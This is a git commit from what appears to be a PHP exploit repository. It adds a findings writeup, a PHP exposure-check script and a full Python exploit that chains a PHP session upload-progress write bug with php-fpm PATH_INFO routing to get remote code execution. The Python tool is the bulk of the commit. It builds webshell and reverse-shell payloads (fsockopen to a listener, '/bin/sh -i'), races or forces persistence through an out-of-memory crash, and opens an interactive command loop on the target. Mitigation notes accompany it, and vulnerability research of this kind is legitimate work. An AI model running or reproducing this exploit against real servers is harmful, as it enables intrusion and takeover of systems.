FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config

New exploit at fcgi/exploit_fcgi.py combines the session upload progress
write primitive (CVE-2026-109618/109619) with direct FastCGI access to
PHP-FPM. A slow-drip multipart upload holds one FPM worker in the
multipart parser while a second FastCGI request includes the poisoned
session file via auto_prepend_file.

Works on default PHP configuration, no LFI, no framework, no libraries.
security.limit_extensions does not block auto_prepend_file inclusion.
php_admin_value in pool config does not block PHP_VALUE from raw FastCGI.

Tested and confirmed RCE on:
  PHP 8.3.6  (local, pre-patch)
  PHP 8.3.35 (Docker, pre-patch)
  PHP 8.3.36 (Docker, patched)
  PHP 8.4.27 (Docker, patched)

Mitigated by session.upload_progress.enabled=0 or blocking FPM access.

Also includes nolfi/ exploit (served save_path + pathinfo routing) from
previous work, and updated README with mitigation matrix for all vectors.
This commit is contained in:
neko
2026-10-21 21:19:25 +00:00
parent 7fecd435cc
commit 8147ce0edb
6 changed files with 1616 additions and 31 deletions
+169
View File
@@ -0,0 +1,169 @@
# RCE Without LFI — Findings
Question: can CVE-2026-109618 / CVE-2026-109619 (the `PHP_SESSION_UPLOAD_PROGRESS`
write primitive) be turned into RCE **without any include() primitive in the
application**?
Short answer: not through the session decoder — PHP never unserializes attacker
bytes off the session file, and four independent guards close that route. But
yes through a different consumer: **PHP-FPM's own request routing**. When
`session.save_path` is web-served, the poisoned session file is directly
requestable, and php-fpm executes it through the standard `PATH_INFO` route as
soon as `security.limit_extensions` is empty. No application code runs at any
point; the poison fires even on 404 URLs.
Everything below was verified against a local php-fpm 8.5.11 build plus the
PHP 8.3/8.5 sources (`session_83.c`, php-src `ext/session/session.c`,
`ext/session/mod_files.c`, `ext/session/rfc1867_83.c`).
## Part 1: why session deserialization is a dead end
The obvious no-LFI consumer is `session_start()` itself: it decodes the
poisoned file on the next request. If the decoded stream could be made to
unserialize an attacker-chosen `O:...` object, any autoloadable gadget chain
(phpggc) would give RCE with zero LFI. It cannot, for four reasons:
**1. The `|` guard aborts the whole write** (php handler, the default).
`PS_SERIALIZER_ENCODE_FUNC(php)` checks every key:
smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key));
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
... return NULL; /* session.c:993-998 in 8.3 */
and `php_session_save_current_state()` then writes the **empty string** instead
of the session (session.c:529-531). The progress key is `prefix + $_POST value`
appended verbatim (session.c:3144-3145, no per-character filtering — the README
of CVE-2026-109619 slightly overstates this as "filtering"), so a `|` in the
value kills the write entirely.
Verified: POST with progress value `AAA|O:13:"ExploitCanary"...` → session file
exists with **0 bytes**. No object, no data.
**2. The key is never unserialized.** With `serialize_handler=php`, the decode
loop splits at the first `|` and unserializes only the value side
(session.c:1024-1048). The value side is always the well-formed progress array
written by `php_var_serialize` — length-prefixed, aligned. The raw attacker
bytes land in the key, which becomes a plain `$_SESSION` array key.
**3. Other serializers are aligned or escaped.**
- `php_serialize`: key passes through `php_var_serialize` escaping
(`"` → `\"`), so a smuggled `O:8:\"...` cannot parse; read-back is a single
aligned `unserialize()`.
- `php_binary`: encode skips keys longer than 127 bytes (`session.c:928`,
`continue`), decode is length-prefixed.
- `wddx`: XML, can only produce scalars/arrays.
**4. The SID cannot carry the payload into a filename.** The rfc1867 flow
skips `session.c`'s own SID validation — `PS(id) = zend_string_copy(...)`
straight from the cookie/GET/POST-form-field (session.c FILE_START handler) —
but `mod_files.c:ps_files_open()` re-validates with `php_session_valid_key()`
(`[A-Za-z0-9,-]`, length ≤ 256) before every open, and opens with `O_NOFOLLOW`.
The path is always `<save_path>/sess_<SID>` (`ps_files_path_create`), so no
traversal, no `sess_x.php`, no symlink. Verified: a dotted SID produces
"Session ID is too long or contains illegal characters" and no file.
Handler-specific corollary: the rfc1867 path hands the raw SID to whichever
save handler is configured. `mod_files` is the only built-in that validates.
Third-party handlers (phpredis, memcached) receive the SID bytes unvalidated —
whether they sanitize before building store keys is deployment-dependent and
was **not verified** here; for redis-style handlers a CRLF-capable SID is
protocol injection, which is a separate research thread.
## Part 2: what works — php-fpm consumes the file itself
The no-LFI consumer is not PHP code, it is the **request router**:
1. **The poison does not need the application.** The rfc1867 callback runs
inside the SAPI POST reader, before script dispatch. A multipart POST to a
URL whose script does not exist (fpm answers 404) still writes the poisoned
session file. Verified: POST to `/nonexistent.php` → file written. This
means *any* PHP-handled vhost URL is a valid injection endpoint.
2. **If `session.save_path` is web-served, the file is fetchable over HTTP.**
`sess_<SID>` has no extension (SID charset has no dot), so a default php-fpm
refuses it: `Access denied.` from `security.limit_extensions` (verified).
But with **`security.limit_extensions` empty** — a very common production
setting — the classic nginx `cgi.fix_pathinfo` route executes it:
GET /sessions/sess_<SID>/x.php?c=id
nginx matches `location ~ \.php$` on the URI, resolves the longest existing
prefix as the script, and fpm executes the extensionless session file with
`PATH_INFO=/x.php`.
Verified end-to-end against php-fpm 8.5.11: the session file
`upload_progress_<?php system($_GET["c"]); ?>|a:5:{...}` executed and
returned `uid=1000(...)`. Both limit_extensions states tested.
3. **Persistence vs the race.** With `session.upload_progress.cleanup=1`
(default) the file is truncated at `MULTIPART_EVENT_END`. Persistence
options:
- `cleanup=0` — file persists with `done=1`; no race needed.
- **Streaming request bodies** (Apache mod_php, nginx
`fastcgi_request_buffering off`, lighttpd, direct fpm exposure): the
write lands at `MULTIPART_EVENT_FILE_START` and the window lasts as long
as the upload is dripped. Verified: slow FCGI drip, execution request hit
during the window on the first poll.
- **Buffering stacks** (nginx default): the whole body arrives, then fpm
parses; the window is only the parse time — measured ~16 ms for a 7 MB
body. Detection may land, follow-up commands usually miss. Not reliable.
- **CVE-2026-109618 OOM bailout** — deterministic: the field flood OOMs the
parser, `zend_bailout` longjmps past `MULTIPART_EVENT_END`, cleanup never
runs, and the poisoned file persists. Requires the OOM body to fit under
`post_max_size` while exceeding `memory_limit` headroom (i.e.
`memory_limit <` flood volume `< post_max_size`). Verified: 17 MB flood
against `memory_limit=16M`, `post_max_size=64M` → worker died, file
persisted, pathinfo execution returned command output.
## Exploit
`exploit_nolfi.py` implements the chain with auto-detection:
- `--probe` classifies each candidate URL prefix: not served / served only
(source disclosure) / fully executable.
- Default mode poisons + races the upload window while polling execution
vectors (`/x.php`, `/index.php`, `/a.phar`, `/x.phtml`), then falls back to
calm execution if the file persisted.
- `--oom` switches persistence to the CVE-2026-109618 bailout (tune with
`--fields` / `--fsize`).
## Updated mitigation matrix
| Mitigation | Race | RLIMIT | /proc/fd | served-path (this) |
|---|---|---|---|---|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | FAIL | FAIL (poison gone, but /proc/fd-style upload temp files unaffected) |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL |
| + limit_extensions=`.php .phar` | — | — | — | OK |
| + save_path outside docroot / not served | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** |
"Fix the LFI" no longer closes the bug class: the served-path chain needs no
application file-inclusion at all.
## Recommendations (additions to the existing list)
5. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
(do not leave it empty).
6. Keep `session.save_path` outside any web-served tree; audit for alias or
`location` blocks that expose it.
7. Keep `cgi.fix_pathinfo=0` where the application does not need PATH_INFO.
## Test log (local rig)
- php-fpm 8.5.11 (source build), session.save_path under a docroot served by
an nginx-equivalent gateway (static files + `location ~ \.php$` +
fix_pathinfo semantics).
- `cleanup=0` + empty limit_extensions: poison → served detection → pathinfo
exec → interactive command loop. Confirmed RCE.
- `cleanup=1` + empty limit_extensions + streaming FCGI drip: execution hit
during upload window on first poll. Confirmed RCE.
- `cleanup=1` + OOM flood (17 MB, memory_limit=16M): worker bailout, file
persisted, exec confirmed. Confirmed RCE.
- `cleanup=1` + nginx-style buffered body: ~16 ms window at 7 MB; detection
frequently succeeds, sustained command execution unreliable. Documented.
- `security.limit_extensions=.php .phar` (default): all execution attempts
blocked with "Access denied". Confirmed mitigation.
- Session deserialization injection (`|` in progress key): 0-byte file,
no unserialization. Confirmed dead end.
+56
View File
@@ -0,0 +1,56 @@
<?php
// Deployment diagnostic for the no-LFI session attack surface.
// Drop on the target, request once, then REMOVE it.
//
// Reports whether the two preconditions of the served-path chain hold:
// 1. session.save_path is inside (or aliased to) a web-served tree
// 2. security.limit_extensions is empty (fpm would execute
// extensionless session files via PATH_INFO)
header('Content-Type: text/plain');
$sp = session_save_path();
if ($sp === '') {
$sp = sys_get_temp_dir();
}
// strip the optional "N;/path" depth prefix
if (($p = strrchr($sp, ';')) !== false) {
$sp = substr($p, 1);
}
$doc = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
$real_sp = realpath($sp) ?: $sp;
$real_doc = realpath($doc) ?: $doc;
$under_doc = ($real_doc !== '' && strncmp($real_sp, $real_doc, strlen($real_doc)) === 0);
$le = ini_get('security.limit_extensions');
$sapi = php_sapi_name();
echo "sapi = {$sapi}\n";
echo "session.save_path = {$sp}\n";
echo "DOCUMENT_ROOT = {$doc}\n";
echo "save_path under docroot = " . var_export($under_doc, true) . "\n";
echo "security.limit_extensions = [" . $le . "]\n";
echo "upload_progress.enabled = " . ini_get('session.upload_progress.enabled') . "\n";
echo "upload_progress.cleanup = " . ini_get('session.upload_progress.cleanup') . "\n";
echo "memory_limit = " . ini_get('memory_limit') . "\n";
echo "post_max_size = " . ini_get('post_max_size') . "\n";
echo "open_basedir = [" . ini_get('open_basedir') . "]\n";
$verdict = array();
if (ini_get('session.upload_progress.enabled')) {
if ($under_doc) {
$verdict[] = "save_path is web-served: session files are requestable";
}
if ($sapi === 'fpm-fcgi' && trim($le) === '') {
$verdict[] = "limit_extensions empty: extensionless session files EXECUTE via PATH_INFO";
}
}
if ($verdict) {
echo "\nEXPOSED:\n";
foreach ($verdict as $v) {
echo " - {$v}\n";
}
echo "\nSee nolfi/FINDINGS.md. Set security.limit_extensions and move save_path.\n";
} else {
echo "\nNo served-path exposure detected.\n";
}
+590
View File
@@ -0,0 +1,590 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI
("served save_path" chain)
Every other exploit in this repo needs an include() primitive in the
application to execute the poisoned session file. This one does not.
It turns the session upload progress write primitive into RCE using only
PHP-FPM request routing:
1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into
<save_path>/sess_<SID> during multipart parsing. This fires even on
URLs that do not exist (404), because rfc1867 processing happens in
the SAPI POST reader before script dispatch. No session_start(),
no application code involved.
2. If session.save_path lives under a web-served directory, the session
file is directly requestable over HTTP.
3. php-fpm executes the (extension-less) session file when the request
carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php
— the classic nginx cgi.fix_pathinfo routing. The only gate is
security.limit_extensions, whose compiled default (.php .phar) blocks
it but which is frequently set empty in real deployments. Verified
both ways against php-fpm 8.5 (see nolfi/FINDINGS.md).
4. session.upload_progress.cleanup=1 (default) truncates the file when
the upload finishes, so execution is raced against the upload window
with a slow multipart body. With cleanup=0 the file persists and no
race is needed.
Preconditions (all defaults unless noted):
- session.upload_progress.enabled=1
- PHP-FPM with session.save_path web-served
- security.limit_extensions empty (non-default; common in the wild)
- any PHP-handled URL on the vhost, including 404s
Usage:
python3 exploit_nolfi.py -t http://target/ --probe
python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
"""
import argparse
import io
import os
import re
import socket
import sys
import threading
import time
MARKER = "NOLFIMARK"
DEFAULT_URL_PREFIXES = [
"/sessions",
"/tmp",
"/var/lib/php/sessions",
"/var/lib/php/session",
"/var/lib/php5/sessions",
"/sess",
"/storage/sessions",
"/files/sessions",
]
# ---------------------------------------------------------------------------
# HTTP helpers (raw sockets, same style as the other exploits)
# ---------------------------------------------------------------------------
def _parse_url(url: str):
from urllib.parse import urlparse
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if p.query:
path += "?" + p.query
return host, port, tls, path
def _connect(host, port, tls, timeout=10):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def _recv_response(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
hdr_end = resp.index(b"\r\n\r\n") + 4
m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I)
if m:
cl = int(m.group(1))
while len(resp) - hdr_end < cl:
more = sock.recv(8192)
if not more:
break
resp += more
break
if b"transfer-encoding: chunked" in resp[:hdr_end].lower():
if b"\r\n0\r\n" in resp[hdr_end:]:
break
except socket.timeout:
pass
return resp
def _decode_chunked(data):
out = b""
while data:
line_end = data.find(b"\r\n")
if line_end < 0:
break
try:
n = int(data[:line_end].split(b";")[0].strip(), 16)
except ValueError:
break
if n == 0:
break
out += data[line_end + 2:line_end + 2 + n]
data = data[line_end + 2 + n + 2:]
return out
def _body_of(resp):
if b"\r\n\r\n" not in resp:
return b""
headers, body = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in headers.lower():
return _decode_chunked(body)
return body
def _status_of(resp):
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False):
sock = _connect(host, port, tls)
req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n"
if cookie:
req += b"Cookie: " + cookie.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = _recv_response(sock, timeout)
sock.close()
return _status_of(resp), _body_of(resp)
# ---------------------------------------------------------------------------
# Multipart slow upload (keeps the poisoned session file on disk)
# ---------------------------------------------------------------------------
def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20,
drip=0.01, result=None):
boundary = b"----NOLFI" + os.urandom(6).hex().encode()
head = (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
tail = b"\r\n--" + boundary + b"--\r\n"
total = len(head) + fill + len(tail)
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n" + head
)
block = b"\x00" * 65000
for _ in range(fill // len(block)):
sock.sendall(block)
time.sleep(drip)
sock.sendall(tail)
_recv_response(sock, timeout=5)
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000,
fsize=512, result=None):
"""CVE-2026-109618 OOM variant: progress + file part + field flood.
The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never
runs and the poisoned session file persists. Requires the OOM body
to fit under post_max_size while exceeding memory_limit headroom.
"""
boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode()
def field(name, value):
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n")
def file_part():
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ b"\x00" * 2048 + b"\r\n")
def chunk(sock, data):
sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n")
sent = 0
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
chunk(sock, file_part())
batch = b""
for i in range(fields):
batch += field(f"p{i:06d}".encode(), b"X" * fsize)
if len(batch) >= 256 * 1024:
chunk(sock, batch)
sent = i
batch = b""
if batch:
chunk(sock, batch)
try:
sock.sendall(b"0\r\n\r\n")
_recv_response(sock, timeout=8)
except OSError:
pass
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
if result is not None:
result["fields_sent"] = sent
# ---------------------------------------------------------------------------
# Payloads
# ---------------------------------------------------------------------------
def cmd_payload():
return f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
def reverse_shell_payload(lhost, lport):
code = (
f'$s=fsockopen("{lhost}",{lport});'
f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'
)
return f'<?php echo "{MARKER}:"; {code} ?>'.encode()
# ---------------------------------------------------------------------------
# Chain: poison -> probe served dir -> pathinfo execution
# ---------------------------------------------------------------------------
def attempt_prefix(host, port, tls, path, url_prefix, php_code, window,
fill=1 << 25, verbose=True, oom=False, fields=30000,
fsize=512):
"""One attempt against one URL prefix. Returns
("rce", sid, url, text) | ("served", sid, url, None) | None."""
sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \
os.urandom(12).hex()
sess_url = f"{url_prefix}/sess_{sid}"
cookie = f"PHPSESSID={sid}"
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
if oom:
result = {}
if verbose:
print(f" [*] OOM poisoning {sess_url} ...")
oom_poison_upload(host, port, tls, path, sid, php_code,
fields=fields, fsize=fsize, result=result)
time.sleep(1.0)
saw_static = False
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=5)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} web-served, file persisted "
f"(OOM bailout skipped cleanup)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
return ("served", sid, sess_url, None)
if verbose and result.get("error"):
print(f" [!] upload error: {result['error']}")
return None
result = {}
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, php_code),
kwargs={"result": result, "fill": fill}, daemon=True)
t.start()
time.sleep(0.5)
deadline = time.time() + window
saw_static = False
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
while time.time() < deadline:
# execution vectors first, raced against the (possibly tiny) window
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=3)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
# static: served-dir detection (source disclosure of the session file)
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served "
f"(session file source disclosed)")
break
except OSError:
pass
time.sleep(0.005)
t.join(timeout=3)
# post-window calm checks: streaming stacks with cleanup=0 keep the file
try:
status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served (file persisted "
f"after upload: cleanup=0)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=4)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
if saw_static:
return ("served", sid, sess_url, None)
return None
def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False,
fields=30000, fsize=512):
"""Re-poison the same SID and execute a command during the window."""
sess_url = f"{url_prefix}/sess_{sid}"
payload = f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
hit = {}
lock = threading.Lock()
def poll(pi):
while True:
if stop.is_set():
return
try:
status, body = _get(host, port, tls,
sess_url + pi + "?c=" + cmd.replace(" ", "+"),
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
with lock:
if "out" not in hit:
out = text.split(MARKER + ":", 1)[1]
hit["out"] = out.split(
'|a:5:{s:10:"start_time"', 1)[0]
stop.set()
return
except OSError:
continue
if oom:
result = {}
oom_poison_upload(host, port, tls, path, sid, payload,
fields=fields, fsize=fsize, result=result)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php")]
for th in threads:
th.start()
for th in threads:
th.join(timeout=10)
return hit.get("out")
result = {}
for cycle in range(3 if not oom else 1):
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, payload),
kwargs={"result": result}, daemon=True)
t.start()
time.sleep(0.3)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")]
for th in threads:
th.start()
grace = None
while True:
if stop.is_set():
break
if not t.is_alive():
if grace is None:
grace = time.time() + 1.5
elif time.time() > grace:
break
time.sleep(0.002)
stop.set()
for th in threads:
th.join(timeout=3)
if "out" in hit:
return hit["out"]
return None
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109618/109619: RCE without LFI "
"(web-served session.save_path + php-fpm pathinfo)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/ --probe
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id'
%(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20
""")
p.add_argument("--target", "-t", required=True,
help="Target base URL (any PHP-handled URL on the vhost, "
"404 is fine)")
p.add_argument("--url-prefix", default="",
help="URL prefix that serves session.save_path "
"(e.g. /sessions). Probes defaults if omitted")
p.add_argument("--cmd", help="Command to execute")
p.add_argument("--lhost", help="Listener IP for reverse shell")
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
p.add_argument("--window", type=float, default=12.0,
help="Upload race window in seconds (default 12)")
p.add_argument("--fill", type=int, default=6, help="Upload filler size "
"in MB; must stay under the target post_max_size (default "
"6MB, PHP default post_max_size is 8M)")
p.add_argument("--probe", action="store_true",
help="Only classify the target, do not attack")
p.add_argument("--oom", action="store_true",
help="Use the CVE-2026-109618 OOM bailout for "
"persistence instead of racing the upload window "
"(requires post_max_size > OOM volume and memory "
"headroom)")
p.add_argument("--fields", type=int, default=30000,
help="OOM pressure fields (default 30000)")
p.add_argument("--fsize", type=int, default=512,
help="OOM field size in bytes (default 512)")
p.add_argument("--attempts", type=int, default=3)
args = p.parse_args()
host, port, tls, path = _parse_url(args.target)
scheme = "https" if tls else "http"
print(f"[*] RCE without LFI — served save_path + fpm pathinfo")
print(f"[*] Target: {args.target}")
prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES)
fill = args.fill * (1 << 20)
if args.probe:
php_code = cmd_payload()
print(f"[*] Probing {len(prefixes)} candidate URL prefixes "
f"(web-served session dir detection)")
for prefix in prefixes:
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
print(f" [-] {prefix}: not served")
else:
kind, sid, url, text = r
if kind == "rce":
print(f" [++] {prefix}: EXECUTABLE — {url}")
else:
print(f" [+] {prefix}: served, not executable "
f"(limit_extensions default or non-fpm engine)")
return
if not args.cmd and not (args.lhost and args.lport):
print("[!] Specify --probe, --cmd, or --lhost/--lport")
sys.exit(1)
php_code = (cmd_payload() if args.cmd
else reverse_shell_payload(args.lhost, args.lport))
if args.oom:
print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B "
f"fields)")
else:
print(f"[*] Race window: {args.window}s per prefix, "
f"{len(prefixes)} prefixes")
for attempt in range(1, args.attempts + 1):
for prefix in prefixes:
print(f"[*] Attempt {attempt}/{args.attempts} "
f"against {prefix} ...")
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
continue
kind, sid, url, text = r
if kind == "rce":
print(f"\n[+] RCE CONFIRMED (no LFI): {url}")
if args.cmd:
out = run_cmd(host, port, tls, path, prefix, sid,
args.cmd, oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(f"[+] {args.cmd}\n{out}" if out is not None
else "[!] exec failed (race lost, retry)")
else:
print(f"[*] Reverse shell payload executed — check "
f"listener on {args.lhost}:{args.lport}")
while True:
try:
c = input("shell> ").strip()
except EOFError:
break
if not c:
continue
out = run_cmd(host, port, tls, path, prefix, sid, c,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(out if out is not None else "[!] exec failed")
return
print(f" [+] {prefix}: served but not executable "
f"(session source disclosure only)")
print("[!] No executable prefix found. Precondition likely missing: "
"save_path not web-served, or security.limit_extensions is set.")
if __name__ == "__main__":
main()